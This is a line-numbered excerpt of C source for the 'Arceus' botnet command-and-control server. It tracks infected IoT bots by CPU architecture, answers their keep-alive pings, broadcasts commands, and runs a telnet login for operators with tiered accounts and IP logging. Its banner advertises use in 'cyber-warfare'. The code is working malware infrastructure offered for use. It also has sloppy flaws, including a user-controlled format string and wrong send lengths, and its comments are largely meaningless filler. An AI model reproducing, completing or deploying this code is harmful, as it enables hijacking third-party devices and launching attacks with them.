  853. {
  854. int flag_network_integer, s; // Set Flag Integer
  855. flag_network_integer = fcntl(save_file_content, F_GETFL, 0); // Set Flag Error Handle Output
  856. if (flag_network_integer == -1) // Set Flag Value [-1]
  857. {
  858. perror("arceus_non_block_socket : failed"); // Error Handling Output
  859. return -1; // Error Value == -1
  860. }
  861. flag_network_integer |= O_NONBLOCK; // Set_Flag==NONBLOCK
  862. s = fcntl(save_file_content, F_SETFL, flag_network_integer);
  863. if (s == -1) // Error Value == -1
  864. {
  865. perror("arceus_non_block_socket : failed"); // Error Handling Output
  866. return -1; // Error Value == -1
  867. }
  868. return 0; // Return Statement Terminates The Execution Of a Function And Returns Control To The Calling Function
  869. }
  870. /* struct addrinfo {
  871. int ai_flags; | flag type set state | state -> in usage -- sockstream
  872. int ai_family; | family type set state | state -> in usage -- sockstream
  873. int ai_socktype; | socket type statement | state -> in usage -- sockstream
  874. int ai_protocol; | protocol | state -> in usage -- sockstream
  875. socklen_t ai_addrlen; | address length | state -> in usage -- sockstream
  876. struct sockaddr *ai_addr; | address | state -> in usage -- sockstream
  877. char *ai_canonname; | n/a | state -> not in usage
  878. struct addrinfo *ai_next; | next | state -> not in usage
  879. */
  880. static int socket_intepretation_modified(char *port) // Socket Bind Interpretation V [ Edited By Zach, Modified Header Address For Adjacent Binding and Listening]
  881. {
  882. struct addrinfo hints; // Create Struct. For AddressInformation, Create 's' As Integer
  883. struct addrinfo *output_result_integer, *rp; // Create Struct. For AddressInformation, Create 's' As Integer
  884. int s, save_file_content; // Create Struct. For AddressInformation, Create 's' As Integer
  885. memset(&hints, 0, sizeof(struct addrinfo)); // Fill Data Block Using 'memset'
  886. hints.ai_family = AF_UNSPEC; // Socket Properties - [SOCKSTREAM, AI, UNSPEC]
  887. hints.ai_socktype = SOCK_STREAM; // Socket Properties - [SOCKSTREAM, AI, UNSPEC]
  888. hints.ai_flags = AI_PASSIVE; // Socket Properties - [SOCKSTREAM, AI, UNSPEC]
  889. s = getaddrinfo(NULL, port, &hints, &output_result_integer); // Defining 's' Value
  890. if (s != 0) // Call Function If 's' == 0
  891. {
  892. fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s)); // Error Handling, 'Getting Address Information'
  893. return -1; // Error Value == -1
  894. }
  895. for (rp = output_result_integer; rp != NULL; rp = rp->ai_next)
  896. {
  897. save_file_content = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol); // Socket Bind Interpretation [ Modified To Be Created As One] -- [MORE STABLE]
  898. if (save_file_content == -1) continue; // Call Function If save_file_content == -1
  899. int yes = 1; // Yes == 1
  900. if (setsockopt(save_file_content, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) perror("arceus_setsockopt : failed"); // Improved Sockopt Handling, Using SOL_SOCKET
  901. s = bind(save_file_content, rp->ai_addr, rp->ai_addrlen); // Bind Everything Stated Above
  902. if (s == 0) // Call Function If 's' == 0
  903. {
  904. break; // Terminate Loop Function, Continue Connection [Broadcast]
  905. }
  906. close(save_file_content); // Close Concurrent Function [save_file_content]
  907. }
  908. if (rp == NULL) // rp == NULL, No Available Integer [May Modify This and State 'NULL' as 0]
  909. {
  910. fprintf(stderr, "arceus_socket_binding : failed - you may be using the same binding port as before.\n"); // Error Handling - Failed Socket Binding, This is Rare, Unless Same Output Port Is Used
  911. return -1; // Error Value == -1
  912. }
  913. freeaddrinfo(output_result_integer); // Check Addresses That Have No Integer State Value '-1'
  914. return save_file_content;// Return Statement Terminates The Execution Of a Function And Returns Control To The Calling Function
  915. }
  916. void arceus_broadcast(char *output_message, int var, char *message_vector) // Broadcast The Following On Administator [Screen]
  917. {
  918. int msg_manage_val = 1; // Send Management Value Statement. This Is Usually Set As '1'
  919. if(strcmp(output_message, "SUCC") == 0) msg_manage_val = 0; // We Are Using 'SUCC/FUCC' V2. [Modified The General Network Threads, Should Stop The Source From Being Slow]
  920. char *broadcast_data_psl = malloc(strlen(output_message) + 10); // Char Every Line For Output Communication
  921. memset(broadcast_data_psl, 0, strlen(output_message) + 10); // Fill In Data Block Usinf Memset. [Add +10, To Concurrent Connection]
  922. strcpy(broadcast_data_psl, output_message); // Strcpy Function Copies The String Pointed To By S2 Into The Object Pointed To By S1.
  923. trim_removev2(broadcast_data_psl); // Trim : [broadcast_data_psl]
  924. time_t systematic_time; // We Want To Display The Time
  925. struct tm * arc_time_info; // Create Struct. For Time
  926. time(&systematic_time); // Use 'Time' Module For 'systematic_time' prefix
  927. arc_time_info = localtime(&systematic_time); // Show Time Info Using Local Time
  928. char *local_time = asctime(arc_time_info); // Char Every Line For Output Communication
  929. trim_removev2(local_time); // Trim : [local_time]
  930. int trim_integer; // Output Statement Result Integers
  931. for(trim_integer = 0; trim_integer < max_file_descriptor_value; trim_integer++) // Set I, With max_file_descriptor_value Value
  932. {
  933. if(trim_integer == var || (!clients[trim_integer].transmitted_successfully)) continue; // Show Clients Connected To Broadcast
  934. if(msg_manage_val && managements[trim_integer].transmitted_successfully) // Send Management, To Show Value
  935. {
  936. send(trim_integer, "\x1b[1;35m", 9, MSG_NOSIGNAL); // Client Connected Output
  937. send(trim_integer, message_vector, strlen(message_vector), MSG_NOSIGNAL); // Client Connected Output
  938. send(trim_integer, ": ", 2, MSG_NOSIGNAL); // Client Connected Output
  939. }
  940. send(trim_integer, output_message, strlen(output_message), MSG_NOSIGNAL); // Client Connected Output
  941. send(trim_integer, "\n", 1, MSG_NOSIGNAL); // Client Connected Output
  942. }
  943. free(broadcast_data_psl); // Release Function From [broadcast_data_psl]
  944. }
  945. void *epollEventLoop(void *useless) // Create Struct via EPOLL, Use Void Function To Call Event
  946. {
  947. struct epoll_event event; // Create Struct via EPOLL, Use Void Function To Call Event
  948. struct epoll_event *events; // Create Struct via EPOLL, Use Void Function To Call Event
  949. int s; // Create Struct via EPOLL, Use Void Function To Call Event
  950. events = calloc(max_file_descriptor_value, sizeof event); // Create Struct via EPOLL, Use Void Function To Call Event
  951. while (1) // While == Wait 1 Second, This Is Stable
  952. {
  953. int n, trim_integer; // State 'trim_integer' And 'n'
  954. n = epoll_wait(bindinginterpreter, events, max_file_descriptor_value, -1); // Set 'n' With max_file_descriptor_value
  955. for (trim_integer = 0; trim_integer < n; trim_integer++) // 'n' && 'trim_integer' comp
  956. {
  957. if ((events[trim_integer].events & EPOLLERR) || (events[trim_integer].events & EPOLLHUP) || (!(events[trim_integer].events & EPOLLIN))) // Show Device Input Via EPOLL
  958. {
  959. clients[events[trim_integer].data.fd].transmitted_successfully = 0; // Our Devices -- More To Be Added -- Events Created Here
  960. clients[events[trim_integer].data.fd].arm = 0; // Our Devices -- More To Be Added -- Events Created Here
  961. clients[events[trim_integer].data.fd].mips = 0; // Our Devices -- More To Be Added -- Events Created Here
  962. clients[events[trim_integer].data.fd].x86 = 0; // Our Devices -- More To Be Added -- Events Created Here
  963. clients[events[trim_integer].data.fd].spc = 0; // Our Devices -- More To Be Added -- Events Created Here
  964. clients[events[trim_integer].data.fd].ppc = 0; // Our Devices -- More To Be Added -- Events Created Here
  965. clients[events[trim_integer].data.fd].sh4 = 0; // Our Devices -- More To Be Added -- Events Created Here
  966. close(events[trim_integer].data.fd); // Close Function
  967. continue; // Continue
  968. }
  969. else if (listeninginterpretation == events[trim_integer].data.fd) // Listen FD - For Events.
  970. {
  971. while (1) // While == Wait 1 Second, This Is Stable
  972. {
  973. struct sockaddr in_addr; // Create Struct For Sockaddress
  974. socklen_t in_len; // SOCK DEFINE
  975. int infd, ipIndex; // SOCK DEFINE
  976.  
  977. in_len = sizeof in_addr; // sock define
  978. infd = accept(listeninginterpretation, &in_addr, &in_len); // sock define
  979. if (infd == -1) // sock define
  980. {
  981. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break; // Error Validation
  982. else // Else
  983. {
  984. perror("arceus_listening_interpretation : acceptance error"); // accept error handling
  985. break; // Terminate Process
  986. }
  987. }
  988.  
  989. clients[infd].internet_protocol = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr; // Show Clients Connected To Broadcast
  990. int dup = 0; // Value The DUPLICATES
  991. for(ipIndex = 0; ipIndex < max_file_descriptor_value; ipIndex++) { // Create Index, IP
  992. if(!clients[ipIndex].transmitted_successfully || ipIndex == infd) continue; // Check Connected
  993. if(clients[ipIndex].internet_protocol == clients[infd].internet_protocol) { // Check Connected, IP
  994. dup = 1; // Dup Value == 1 [Faster]
  995. break;
  996. }}
  997. s = socket_interpretation_block_v1(infd);
  998. if (s == -1) { close(infd); break; }
  999.  
  1000. event.data.fd = infd; // Create Struct via EPOLL, Use Void Function To Call Event
  1001. event.events = EPOLLIN | EPOLLET; // Create Struct via EPOLL, Use Void Function To Call Event
  1002. s = epoll_ctl(bindinginterpreter, EPOLL_CTL_ADD, infd, &event); // Create Struct via EPOLL, Use Void Function To Call Event
  1003. if (s == -1) // 's' Value == -1
  1004. {
  1005. perror("arceus_epoll_ctl : failed"); // Epollctl Error Handling
  1006. close(infd); // Kill infd
  1007. break;
  1008. }
  1009.  
  1010. clients[infd].transmitted_successfully = 1; // I'm Getting Tired Of This..
  1011. send(infd, "!* Arceus ON\n", 9, MSG_NOSIGNAL); // Send infd, Using Command Via Client.
  1012.  
  1013. }
  1014. continue; // Keep Going,...
  1015. }
  1016. else // What Else.. Smh...
  1017. {
  1018. int clear_arceus_broadcast = events[trim_integer].data.fd; // Unecessary To Comment, This Is Struct'in and Stating Integer.
  1019. struct arceus_substrate_device_data_v4 *client = &(clients[clear_arceus_broadcast]); // Unecessary To Comment, This Is Struct'in and Stating Integer.
  1020. int done = 0; // Unecessary To Comment, This Is Struct'in and Stating Integer.
  1021. client->transmitted_successfully = 1; // Our Devices -- More To Be Added -- Events Created Here
  1022. client->arm = 0; // Our Devices -- More To Be Added -- Events Created Here
  1023. client->mips = 0; // Our Devices -- More To Be Added -- Events Created Here
  1024. client->sh4 = 0; // Our Devices -- More To Be Added -- Events Created Here
  1025. client->x86 = 0; // Our Devices -- More To Be Added -- Events Created Here
  1026. client->spc = 0; // Our Devices -- More To Be Added -- Events Created Here
  1027. client->ppc = 0; // Our Devices -- More To Be Added -- Events Created Here
  1028. while (1) // While == Wait 1 Second, This Is Stable
  1029. {
  1030. ssize_t count; // State, SSize Count
  1031. char arceus_buffer_size[2048]; // Char Buffer To [2048] - Although, This May Change As We Want A EXTREMELY Stable Client, Testing In Progress.
  1032. memset(arceus_buffer_size, 0, sizeof arceus_buffer_size); // Fill In Data-Block, This Can Also Be Stated As The Buffer Off-set [0xA - 0xB]
  1033.  
  1034. while (memset(arceus_buffer_size, 0, sizeof arceus_buffer_size) && (count = buffer_size_string_compare(arceus_buffer_size, sizeof arceus_buffer_size, clear_arceus_broadcast)) > 0) // Memset, Using The Stated Buffer-Size Value.
  1035. {
  1036. if (strstr(arceus_buffer_size, "\n") == NULL) { done = 1; break; } // We Shall Break The Line, Stating This As Null.
  1037. trim_removev2(arceus_buffer_size); // Trim Buffer.
  1038. if (strcmp(arceus_buffer_size, "SUCC") == 0) { // Ping Is The Input Connection, Waiting For It's Response. This Has To Be Allocated.
  1039. if (send(clear_arceus_broadcast, "FUCC\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // FUCC, Is The Response From Ping, This is The Allocation.
  1040. continue;
  1041. }
  1042. if(strstr(arceus_buffer_size, "\e[1;37m[\e[0;31mArceus\e[1;37m] Device:[\e[0;31mx86_64\e[1;37m] Loaded!") == arceus_buffer_size) // We are Loading All Of Our Devices, On The Admin Screen.
  1043. {
  1044. client->x86 = 1; // We are Loading All Of Our Devices, On The Admin Screen.
  1045. }
  1046. if(strstr(arceus_buffer_size, "\e[1;37m[\e[0;31mArceus\e[1;37m] Device:[\e[0;31mx86_32\e[1;37m] Loaded!") == arceus_buffer_size) // We are Loading All Of Our Devices, On The Admin Screen.
  1047. {
  1048. client->x86 = 1; // We are Loading All Of Our Devices, On The Admin Screen.
  1049. }
  1050. if(strstr(arceus_buffer_size, "\e[1;37m[\e[0;31mArceus\e[1;37m] Device:[\e[0;31mMIPS\e[1;37m] Loaded!") == arceus_buffer_size) // We are Loading All Of Our Devices, On The Admin Screen.
  1051. {
  1052. client->mips = 1; // We are Loading All Of Our Devices, On The Admin Screen.
  1053. }
  1054. if(strstr(arceus_buffer_size, "\e[1;37m[\e[0;31mArceus\e[1;37m] Device:[\e[0;31mMPSL\e[1;37m] Loaded!") == arceus_buffer_size) // We are Loading All Of Our Devices, On The Admin Screen.
  1055. {
  1056. client->mips = 1; // We are Loading All Of Our Devices, On The Admin Screen.
  1057. }
  1058. if(strstr(arceus_buffer_size, "\e[1;37m[\e[0;31mArceus\e[1;37m] Device:[\e[0;31mARM4\e[1;37m] Loaded!") == arceus_buffer_size) // We are Loading All Of Our Devices, On The Admin Screen.
  1059. {
  1060. client->arm = 1; // We are Loading All Of Our Devices, On The Admin Screen.
  1061. }
  1062. if(strstr(arceus_buffer_size, "\e[1;37m[\e[0;31mArceus\e[1;37m] Device:[\e[0;31mARM5\e[1;37m] Loaded!") == arceus_buffer_size) // We are Loading All Of Our Devices, On The Admin Screen.
  1063. {
  1064. client->arm = 1; // We are Loading All Of Our Devices, On The Admin Screen.
  1065. }
  1066. if(strstr(arceus_buffer_size, "\e[1;37m[\e[0;31mArceus\e[1;37m] Device:[\e[0;31mARM6\e[1;37m] Loaded!") == arceus_buffer_size) // We are Loading All Of Our Devices, On The Admin Screen.
  1067. {
  1068. client->arm = 1; // We are Loading All Of Our Devices, On The Admin Screen.
  1069. }
  1070. if(strstr(arceus_buffer_size, "\e[1;37m[\e[0;31mArceus\e[1;37m] Device:[\e[0;31mARM7\e[1;37m] Loaded!") == arceus_buffer_size) // We are Loading All Of Our Devices, On The Admin Screen.
  1071. {
  1072. client->arm = 1; // We are Loading All Of Our Devices, On The Admin Screen.
  1073. }
  1074. if(strstr(arceus_buffer_size, "\e[1;37m[\e[0;31mArceus\e[1;37m] Device:[\e[0;31mPPC\e[1;37m] Loaded!") == arceus_buffer_size) // We are Loading All Of Our Devices, On The Admin Screen.
  1075. {
  1076. client->ppc = 1; // We are Loading All Of Our Devices, On The Admin Screen.
  1077. }
  1078. if(strstr(arceus_buffer_size, "\e[1;37m[\e[0;31mArceus\e[1;37m] Device:[\e[0;31mSPC\e[1;37m] Loaded!") == arceus_buffer_size) // We are Loading All Of Our Devices, On The Admin Screen.
  1079. {
  1080. client->spc = 1; // We are Loading All Of Our Devices, On The Admin Screen.
  1081. }
  1082. if(strcmp(arceus_buffer_size, "SUCC") == 0) { // Input Connection, Response Is Below
  1083. if(send(clear_arceus_broadcast, "FUCC\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // Response Line, SUCC/FUCC Uses Strcmp
  1084. continue; }
  1085. if(strcmp(arceus_buffer_size, "FUCC") == 0) { // We use 'strcmp' To Compare Both Of Our Input And Output - [Response] Strings
  1086. continue; } // This Is Then Used, To Output A Valid Integer
  1087. printf("\"%s\"\n", arceus_buffer_size); } // This Is The Output Here
  1088.  
  1089. if (count == -1) // Error Value - [Show ERR]
  1090. {
  1091. if (errno != EAGAIN) // // Error Value - [Show ERR]
  1092. {
  1093. done = 1; // Error Value
  1094. }
  1095. break;
  1096. }
  1097. else if (count == 0) // // Error Value - [Show ERR]
  1098. {
  1099. done = 1; // // Error Value - [Show ERR]
  1100. break; // Break This Function. Terminate.
  1101. }
  1102. }
  1103.  
  1104. if (done) // Only If Value, Is [Done] ( Equal To 0 )
  1105. {
  1106. client->transmitted_successfully = 0; // Display Our Devices, This Is One The Client Side.
  1107. client->arm = 0; // Display Our Devices, This Is One The Client Side.
  1108. client->mips = 0; // Display Our Devices, This Is One The Client Side.
  1109. client->sh4 = 0; // Display Our Devices, This Is One The Client Side.
  1110. client->x86 = 0; // Display Our Devices, This Is One The Client Side.
  1111. client->spc = 0; // Display Our Devices, This Is One The Client Side.
  1112. client->ppc = 0; // Display Our Devices, This Is One The Client Side.
  1113. close(clear_arceus_broadcast);
  1114. }
  1115. }
  1116. }
  1117. }
  1118. }
  1119.  
  1120. unsigned int arceus_arm_connected() // Create An Unsigned Integer, For Our Device
  1121. {
  1122. int trim_integer = 0, total_output = 0; // Stating First Integer [int == 0,] - The Total, Will ALso Be NULL [ 0 ]
  1123. for(trim_integer = 0; trim_integer < max_file_descriptor_value; trim_integer++) // We Shall Set The File Descriptor Maximum For I.
  1124. {
  1125. if(!clients[trim_integer].arm) continue; // Continue, After Device Statement.
  1126. total_output++; // Total Device Value
  1127. }
  1128.  
  1129. return total_output; // Return Statement Terminates The Execution Of a Function And Returns Control To The Calling Function
  1130. }
  1131. unsigned int arceus_mipsel_connected() // Create An Unsigned Integer, For Our Device
  1132. {
  1133. int trim_integer = 0, total_output = 0; // Stating First Integer [int == 0,] - The Total, Will ALso Be NULL [ 0 ]
  1134. for(trim_integer = 0; trim_integer < max_file_descriptor_value; trim_integer++) // We Shall Set The File Descriptor Maximum For I.
  1135. {
  1136. if(!clients[trim_integer].mips) continue; // Continue, After Device Statement.
  1137. total_output++; // Total Device Value
  1138. }
  1139.  
  1140. return total_output; // Return Statement Terminates The Execution Of a Function And Returns Control To The Calling Function
  1141. }
  1142.  
  1143. unsigned int arceus_x86_connected() // Create An Unsigned Integer, For Our Device
  1144. {
  1145. int trim_integer = 0, total_output = 0; // Stating First Integer [int == 0,] - The Total, Will ALso Be NULL [ 0 ]
  1146. for(trim_integer = 0; trim_integer < max_file_descriptor_value; trim_integer++) // We Shall Set The File Descriptor Maximum For I.
  1147. {
  1148. if(!clients[trim_integer].x86) continue; // Continue, After Device Statement.
  1149. total_output++; // Total Device Value
  1150. }
  1151.  
  1152. return total_output; // Return Statement Terminates The Execution Of a Function And Returns Control To The Calling Function
  1153. }
  1154.  
  1155. unsigned int arceus_spc_connected() // Create An Unsigned Integer, For Our Device
  1156. {
  1157. int trim_integer = 0, total_output = 0; // Stating First Integer [int == 0,] - The Total, Will ALso Be NULL [ 0 ]
  1158. for(trim_integer = 0; trim_integer < max_file_descriptor_value; trim_integer++) // We Shall Set The File Descriptor Maximum For I.
  1159. {
  1160. if(!clients[trim_integer].spc) continue; // Continue, After Device Statement.
  1161. total_output++; // Total Device Value
  1162. }
  1163.  
  1164. return total_output; // Return Statement Terminates The Execution Of a Function And Returns Control To The Calling Function
  1165. }
  1166.  
  1167. unsigned int arceus_ppc_connected() // Create An Unsigned Integer, For Our Device
  1168. {
  1169. int trim_integer = 0, total_output = 0; // Stating First Integer [int == 0,] - The Total, Will ALso Be NULL [ 0 ]
  1170. for(trim_integer = 0; trim_integer < max_file_descriptor_value; trim_integer++) // We Shall Set The File Descriptor Maximum For I.
  1171. {
  1172. if(!clients[trim_integer].ppc) continue; // Continue, After Device Statement.
  1173. total_output++; // Total Device Value
  1174. }
  1175.  
  1176. return total_output; // Return Statement Terminates The Execution Of a Function And Returns Control To The Calling Function
  1177. }
  1178.  
  1179. unsigned int arceus_sh4_connected() // Create An Unsigned Integer, For Our Device
  1180. {
  1181. int trim_integer = 0, total_output = 0; // Stating First Integer [int == 0,] - The Total, Will ALso Be NULL [ 0 ]
  1182. for(trim_integer = 0; trim_integer < max_file_descriptor_value; trim_integer++) // We Shall Set The File Descriptor Maximum For I.
  1183. {
  1184. if(!clients[trim_integer].sh4) continue; // Continue, After Device Statement.
  1185. total_output++; // Total Device Value
  1186. }
  1187.  
  1188. return total_output; // Return Statement Terminates The Execution Of a Function And Returns Control To The Calling Function
  1189. }
  1190.  
  1191. unsigned int arceus_clients_connected() // Create An Unsigned Integer, For Our Device
  1192. {
  1193. int trim_integer = 0, total_output = 0; // Stating First Integer [int == 0,] - The Total, Will ALso Be NULL [ 0 ]
  1194. for (trim_integer = 0; trim_integer < max_file_descriptor_value; trim_integer++) // We Shall Set The File Descriptor Maximum For I.
  1195. {
  1196. if (!clients[trim_integer].transmitted_successfully) continue; // Continue, After Device Statement.
  1197. total_output++; // Total Device Value
  1198. }
  1199.  
  1200. return total_output; // Return Statement Terminates The Execution Of a Function And Returns Control To The Calling Function
  1201. }
  1202.  
  1203. void *arceus_title_creator(void *sock) // We Shall Create A Window Title For The Screen
  1204. {
  1205. int clear_arceus_broadcast = (long int)sock; // Creating A 'Long' Integer, For socket_propulsion_data output
  1206. char string[2048]; // Char Every Line For Output Communication
  1207. while(1) // While == Wait 1 Second, This Is Stable
  1208. {
  1209. memset(string, 0, 2048);
  1210. sprintf(string, "%c]0; Arceus I [BETA] | IoT Devices: %d | Administrators: %d %c", '\033', arceus_clients_connected(), successful_transmission, '\007'); // [Title]
  1211. if(send(clear_arceus_broadcast, string, strlen(string), MSG_NOSIGNAL) == -1); // Send Output Response
  1212. sleep(2); // Sleep, So No Concurrent Processes Create Any Problems
  1213. }
  1214. }
  1215.  
  1216.  
  1217. int arceus_file_searcher_v3(char *target_string) // Char Every Line For Output Communication [Search In File]
  1218. {
  1219. FILE *fp; // FILE*fp - File Pointer
  1220. int line_numerical = 0; // Create Integer For Each Line Number
  1221. int result_found_data = 0, find_line = 0; // Create Integer For Each Line Number
  1222. char temp[512]; // Char [512]
  1223.  
  1224. if ((fp = fopen("arceus.txt", "r")) == NULL) { // [Login.txt Output]
  1225. return(-1); // Return Value
  1226. }
  1227. while (fgets(temp, 512, fp) != NULL) { // temp -- 512
  1228. if ((strstr(temp, target_string)) != NULL) { // Constant Char Communication Between Unsigned_Integer.
  1229. result_found_data++; // Finding Output Value
  1230. find_line = line_numerical; // Find Line, Then Put Under Line_Numerical
  1231. }
  1232. line_numerical++; // Line Output -- Line Total
  1233. }
  1234. if (fp) // Check
  1235. fclose(fp); // Kill
  1236.  
  1237. if (result_found_data == 0)return 0; // Result Output
  1238.  
  1239. return find_line;
  1240. }
  1241. void arceus_client_address(struct sockaddr_in addr) { // Client Adress -- To Socket Adress
  1242. printf("\e[91mIP\e[91m:[\e[91m%d.%d.%d.%d\e[91m]\n", // Display User IP Output
  1243. addr.sin_addr.s_addr & 0xFF, // 0xFF --> + Whatever Stated Value
  1244. (addr.sin_addr.s_addr & 0xFF00) >> 8, // 0xFF --> + Whatever Stated Value
  1245. (addr.sin_addr.s_addr & 0xFF0000) >> 16, // 0xFF --> + Whatever Stated Value
  1246. (addr.sin_addr.s_addr & 0xFF000000) >> 24); // 0xFF --> + Whatever Stated Value
  1247. FILE *arceus_log_file; // Create IP Log
  1248. arceus_log_file = fopen("logs/Arceus_IP.log", "a"); // Output The File
  1249. fprintf(arceus_log_file, "\n\e[91mIP\e[91m:[\e[91m%d.%d.%d.%d\e[91m]", // IP Format, Via The Following.
  1250. addr.sin_addr.s_addr & 0xFF, // 0xFF --> Whatever Stated Value
  1251. (addr.sin_addr.s_addr & 0xFF00) >> 8, // 0xFF --> Whatever Stated Value
  1252. (addr.sin_addr.s_addr & 0xFF0000) >> 16, // 0xFF --> Whatever Stated Value
  1253. (addr.sin_addr.s_addr & 0xFF000000) >> 24); // 0xFF --> Whatever Stated Value
  1254. fclose(arceus_log_file); // Close The Log File
  1255. }
  1256. // struct msghdr {
  1257. // void *msg_name; /* optional address */
  1258. // socklen_t msg_namelen; /* size of address */
  1259. // struct iovec *msg_iov; /* scatter/gather array */
  1260. // size_t msg_iovlen; /* # elements in msg_iov */
  1261. // void *msg_control; /* ancillary data, see below */
  1262. // size_t msg_controllen; /* ancillary data buffer len */
  1263. // int msg_flags; /* flags on received message */
  1264. //
  1265. void *arceus_telnet_data(void *sock) { // Here Is Where The Magic Happens
  1266. int clear_arceus_broadcast = (int)sock; // Create Integer For socket_propulsion_data
  1267. successful_transmission++; // State Manages Connected
  1268. int find_line; // Create Integer For Find Line Function
  1269. pthread_t title; // Use pthread To Output Title
  1270. char counter[2048]; // Char Every Line For Output Communication
  1271. memset(counter, 0, 2048); // Fill Data Block - [2048]
  1272. char arceus_buffer_size[2048]; // Char Every Line For Output Communication
  1273. char* write_string; // Char Every Line For Output Communication
  1274. char usernamez[80]; // Char Every Line For Output Communication
  1275. char* password; // Char Every Line For Output Communication
  1276. char *Admin = "Admin"; // Char Every Line For Output Communication
  1277. char *Normal = "Normal"; // Char Every Line For Output Communication
  1278. char *Vip = "Vip"; // Char Every Line For Output Communication
  1279. char *Owner = "Owner"; // Char Every Line For Output Communication
  1280. memset(arceus_buffer_size, 0, sizeof arceus_buffer_size); // Fill Data Block - [arceus_buffer_size]
  1281. char arceus[2048]; // Char Every Line For Output Communication
  1282. memset(arceus, 0, 2048); // Fill Data Block - [2048]
  1283.  
  1284. FILE *fp; // Check
  1285. int trim_integer = 0; // Create Integer For I
  1286. int c; // Create Integer For C
  1287. fp = fopen("arceus.txt", "r"); // format: username pass identification_type (identification_type is only need if Admin username ex: username pass Admin)
  1288. while (!feof(fp)) // feof
  1289. {
  1290. c = fgetc(fp); // Define C to fget
  1291. ++trim_integer; // Total Value Size
  1292. }
  1293. int succ = 0; // Create Integer J
  1294. rewind(fp); // Rewind [fp]
  1295. while (succ != trim_integer - 1) // Call Integer J
  1296. {
  1297. fscanf(fp, "%s %s %s", accounts[succ].username, accounts[succ].password, accounts[succ].identification_type); // Displaying, User -- Pass, Through Specific Format
  1298. ++succ;
  1299. }
  1300.  
  1301. char Prompt_1 [500]; // Char Every Line For Output Communication
  1302. sprintf(Prompt_1, " \e[91m╔═════════════════════════════╗\r\n \e[91m║ \e[91mWelcome To Arceus I \e[91m║\r\n \e[91m║ \e[91mPlease Enter your Username \e[91m║\r\n \e[91m║ \e[91mIn the Login Prompt Below \e[91m║\r\n \e[91m╚═════════════════════════════╝ \r\n \e[91m╔═════════════════════════════════════╗\r\n \e[91m║ \e[91mThis Source Code is \e[91m║\r\n \e[91m║ \e[91m Licensed under GPU V3.0 \e[91m║\r\n \e[91m║ \e[91mFOR ALLOWED USE IN 'CYBER-WARFARE' \e[91m║\r\n \e[91m╚═════════════════════════════════════╝\r\n");
  1303. if(send(clear_arceus_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1304. if(send(clear_arceus_broadcast, Prompt_1, strlen(Prompt_1), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1305. sprintf(arceus, "\e[91mUsername:\e[91m "); // Username Input
  1306. if (send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1307. if (buffer_size_string_compare(arceus_buffer_size, sizeof arceus_buffer_size, clear_arceus_broadcast) < 1) goto finish_integer; // Restate Buffer Size, If Output Is Released
  1308. trim_removev2(arceus_buffer_size); // Trim [Buffer]
  1309. sprintf(usernamez, arceus_buffer_size); // Use Data From 'Usernamez'
  1310. write_string = ("%s", arceus_buffer_size); // Find String Input From User
  1311. find_line = arceus_file_searcher_v3(write_string); // We Search The User File
  1312.  
  1313. if (strcmp(write_string, accounts[find_line].username) == 0) { // Here Is Our Login System
  1314. sprintf(arceus, "\e[91mLogging In As User: \e[91m%s\r\n", accounts[find_line].username, arceus_buffer_size); // Find User, Via The Login File, This Is Dependent On User Input
  1315. sprintf(arceus, "\e[91mPlease Enter Your Password!\r\n"); // Enter Password Display Output - This Is User Input
  1316. sprintf(arceus, "\e[91mPassword: \e[91m"); // Enter Password - This Is User Input
  1317. if (send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1318. if (buffer_size_string_compare(arceus_buffer_size, sizeof arceus_buffer_size, clear_arceus_broadcast) < 1) goto finish_integer; // Restate Buffer Size, If Output Is Released
  1319. trim_removev2(arceus_buffer_size); // Trim [Buffer]
  1320. if (strcmp(arceus_buffer_size, accounts[find_line].password) != 0) goto failed; // If No User, Is Found, Continue To 'Failed' Output
  1321. memset(arceus_buffer_size, 0, 2048); // Memset Data Block Fill, Just So We Are Stable
  1322. goto Arceus; // Go To 'Arceus'
  1323. }
  1324. failed:
  1325. pthread_create(&title, NULL, &arceus_title_creator, sock);
  1326. char failed_line1[5000]; // Char Every Line For Output Communication
  1327. char failed_line2[5000]; // Char Every Line For Output Communication
  1328.  
  1329. char clearscreen [5000]; // Char Every Line For Output Communication
  1330. memset(clearscreen, 0, 2048); // Memset Data Block Fill, Just So We Are Stable
  1331. sprintf(clearscreen, "\033[2J\033[1;1H"); // Clear Screen
  1332.  
  1333. sprintf(failed_line1, "Login Error!\r\n"); // We are Attempting To Display FailedBanner!
  1334. sprintf(failed_line2, "If you run into this issue please contact the owner!\r\n"); // We are Attempting To Display FailedBanner!
  1335.  
  1336.  
  1337. sleep(1); // You Have Failed!
  1338. if(send(clear_arceus_broadcast, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto finish_integer; // You Have Failed!
  1339. if(send(clear_arceus_broadcast, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto finish_integer; // You Have Failed!
  1340. if(send(clear_arceus_broadcast, failed_line2, strlen(failed_line2), MSG_NOSIGNAL) == -1) goto finish_integer; // You Have Failed!
  1341. sleep(3); // Sleep For 3 Seconds, Clean Exit
  1342. goto finish_integer; // You Have Failed!
  1343. if (send(clear_arceus_broadcast, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto finish_integer;
  1344. Arceus: // We are Displaying Attempting to display main banner!
  1345. pthread_create(&title, NULL, &arceus_title_creator, sock); // We are Displaying Attempting to display main banner!
  1346. if (send(clear_arceus_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer; // We are Displaying Attempting to display main banner!
